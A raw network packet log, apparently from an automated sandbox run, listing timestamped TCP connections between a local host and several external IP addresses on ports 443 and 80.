Jul 26, 2024 23:45:21.226176977 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.226239920 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.226341009 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.226394892 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.226483107 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.226541996 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.227266073 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.227324009 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.227410078 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.227468014 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.228148937 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.228209019 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.228288889 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.228337049 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.228946924 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.229022026 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.229101896 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.229157925 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.229739904 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.229799032 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.229866982 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.229912996 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.229995966 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.230051041 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.231040001 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.231097937 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.231172085 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.231221914 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.231703997 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.231761932 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.231834888 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.231887102 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.232640982 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.232698917 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.232774973 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.232826948 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.233592033 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.233655930 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.233863115 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.233933926 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.234270096 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.234338045 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.234575987 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.234648943 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.234741926 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.234808922 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.235584974 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.235651016 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.236752033 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.236771107 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.236820936 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.236845016 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.236897945 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.237202883 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.237262964 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.237415075 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.237478018 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.238147974 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.238219976 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.239193916 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.239257097 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.239265919 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.239283085 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.239305973 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.239324093 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.240343094 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.240408897 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.240416050 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.240428925 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.240454912 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.240478039 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.241312981 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.241384983 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.241437912 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.241504908 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.241660118 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.241715908 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.241781950 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.241842985 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.242393017 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.242458105 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.242515087 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.242579937 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.277826071 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.277890921 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.277968884 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.278034925 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.278079987 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.278079987 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.278110027 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.278332949 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.278386116 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.278398037 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.278414011 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.278446913 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.278466940 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.278740883 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.298142910 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.298213005 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.298280001 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.298342943 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.298382044 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.298409939 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.298461914 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.299091101 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.299148083 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.299170017 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.299191952 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.299231052 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.299231052 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.299231052 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.299231052 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.299779892 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.299834013 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.299854040 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.299868107 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.299899101 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.299922943 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.301836967 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.301891088 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.301908970 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.301920891 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.301950932 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.301968098 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.302423954 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.302478075 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.302493095 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.302505016 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.302541971 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.302542925 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.303142071 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.303201914 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.303216934 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.303227901 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.303257942 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.303275108 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.365098953 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.365236044 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.365628004 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.365709066 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.365761995 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.365828037 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.366235971 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.366305113 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.366360903 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.366422892 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.386269093 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.386358023 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.386394978 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.386455059 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.386832952 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.386904001 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.386959076 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.387020111 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.388977051 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.389050961 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.389065981 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.389121056 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.389373064 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.389431953 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.389436960 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.389462948 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.389492989 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.389492989 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.390209913 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.390285015 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.390317917 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.390373945 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.390506029 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.390569925 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.390597105 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.390644073 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.391091108 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.391155958 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.391180992 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.391233921 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.453140020 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.453249931 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.453270912 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.453291893 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.453319073 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.453336000 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.453502893 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.453555107 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.453592062 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.453654051 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.453834057 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.453896046 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.454030991 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.454097986 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.454125881 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.454181910 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.454926014 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.454989910 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.455003977 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.455053091 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.473694086 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.473771095 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.473777056 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.473798037 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.473829031 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.473848104 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.473917961 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.473964930 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.474690914 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.474751949 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.474754095 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.474765062 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.474812031 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.476671934 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.476728916 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.476736069 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.476747990 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.476780891 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.476800919 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.477497101 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.477554083 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.477561951 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.477572918 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.477616072 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.477616072 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.477634907 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.477684975 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.477694035 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.477729082 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.477734089 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:21.477754116 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.477772951 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.478008032 CEST	49168	443	192.168.2.22	104.21.52.88
Jul 26, 2024 23:45:21.478020906 CEST	443	49168	104.21.52.88	192.168.2.22
Jul 26, 2024 23:45:24.062685013 CEST	49169	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:24.062761068 CEST	443	49169	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:24.062827110 CEST	49169	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:24.130434990 CEST	49169	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:24.130507946 CEST	443	49169	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:24.610395908 CEST	443	49169	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:24.610471964 CEST	49169	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:24.624692917 CEST	49169	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:24.624718904 CEST	443	49169	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:24.625612974 CEST	443	49169	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:24.628084898 CEST	49169	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:24.668544054 CEST	443	49169	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:24.971131086 CEST	443	49169	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:24.971409082 CEST	443	49169	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:24.971478939 CEST	49169	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:24.990869999 CEST	49169	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:24.990909100 CEST	443	49169	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:28.153529882 CEST	49170	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:28.153568983 CEST	443	49170	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:28.153606892 CEST	49170	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:28.153911114 CEST	49170	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:28.153922081 CEST	443	49170	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:28.264107943 CEST	49171	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:28.272310019 CEST	80	49171	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:28.272376060 CEST	49171	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:28.321165085 CEST	49171	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:28.325965881 CEST	80	49171	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:28.632390976 CEST	443	49170	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:28.632476091 CEST	49170	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:28.680473089 CEST	49170	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:28.680546045 CEST	443	49170	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:28.681579113 CEST	443	49170	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:28.683728933 CEST	49170	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:28.724503040 CEST	443	49170	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:28.967530012 CEST	80	49171	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:29.015403032 CEST	443	49170	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:29.015676975 CEST	443	49170	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:29.015744925 CEST	49170	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:29.175510883 CEST	80	49171	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:29.175565004 CEST	49171	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:29.225337029 CEST	49170	443	192.168.2.22	172.67.197.72
Jul 26, 2024 23:45:29.225384951 CEST	443	49170	172.67.197.72	192.168.2.22
Jul 26, 2024 23:45:30.462775946 CEST	49171	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:30.467641115 CEST	80	49171	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:30.671293020 CEST	80	49171	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:30.788258076 CEST	49172	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:30.788353920 CEST	443	49172	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:30.788424015 CEST	49172	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:30.795545101 CEST	49172	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:30.795584917 CEST	443	49172	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:30.886786938 CEST	80	49171	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:30.886951923 CEST	49171	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:32.183284044 CEST	443	49172	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:32.183365107 CEST	49172	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:32.206785917 CEST	49172	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:32.206845999 CEST	443	49172	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:32.207318068 CEST	443	49172	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:32.412564039 CEST	443	49172	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:32.412775993 CEST	49172	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:33.053769112 CEST	49172	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:33.096539974 CEST	443	49172	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:33.922913074 CEST	443	49172	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:33.923146009 CEST	443	49172	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:33.923202038 CEST	49172	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:33.935558081 CEST	49172	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:34.019804955 CEST	49171	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:34.024970055 CEST	80	49171	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:34.230139017 CEST	80	49171	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:34.232292891 CEST	49173	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:34.232346058 CEST	443	49173	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:34.232405901 CEST	49173	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:34.232697964 CEST	49173	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:34.232711077 CEST	443	49173	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:34.439461946 CEST	80	49171	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:34.439640045 CEST	49171	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:34.711932898 CEST	443	49173	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:34.761430025 CEST	49173	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:34.761490107 CEST	443	49173	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:34.871000051 CEST	443	49173	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:34.871216059 CEST	443	49173	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:34.871391058 CEST	49173	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:34.878443003 CEST	49173	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:35.158451080 CEST	49171	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:35.164382935 CEST	80	49171	132.226.247.73	192.168.2.22
Jul 26, 2024 23:45:35.164446115 CEST	49171	80	192.168.2.22	132.226.247.73
Jul 26, 2024 23:45:35.204164982 CEST	49174	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:35.209104061 CEST	80	49174	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:35.209163904 CEST	49174	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:35.209233046 CEST	49174	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:35.214034081 CEST	80	49174	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:35.669509888 CEST	80	49174	193.122.130.0	192.168.2.22
Jul 26, 2024 23:45:35.730554104 CEST	49175	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:35.730643988 CEST	443	49175	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:35.730725050 CEST	49175	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:35.731021881 CEST	49175	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:35.731059074 CEST	443	49175	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:35.862446070 CEST	49174	80	192.168.2.22	193.122.130.0
Jul 26, 2024 23:45:36.202023029 CEST	443	49175	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:36.210728884 CEST	49175	443	192.168.2.22	188.114.97.3
Jul 26, 2024 23:45:36.210783005 CEST	443	49175	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:36.335963964 CEST	443	49175	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:36.336215973 CEST	443	49175	188.114.97.3	192.168.2.22
Jul 26, 2024 23:45:36.336280107 CEST	49175	443	192.168.2.22	188.114.97.3
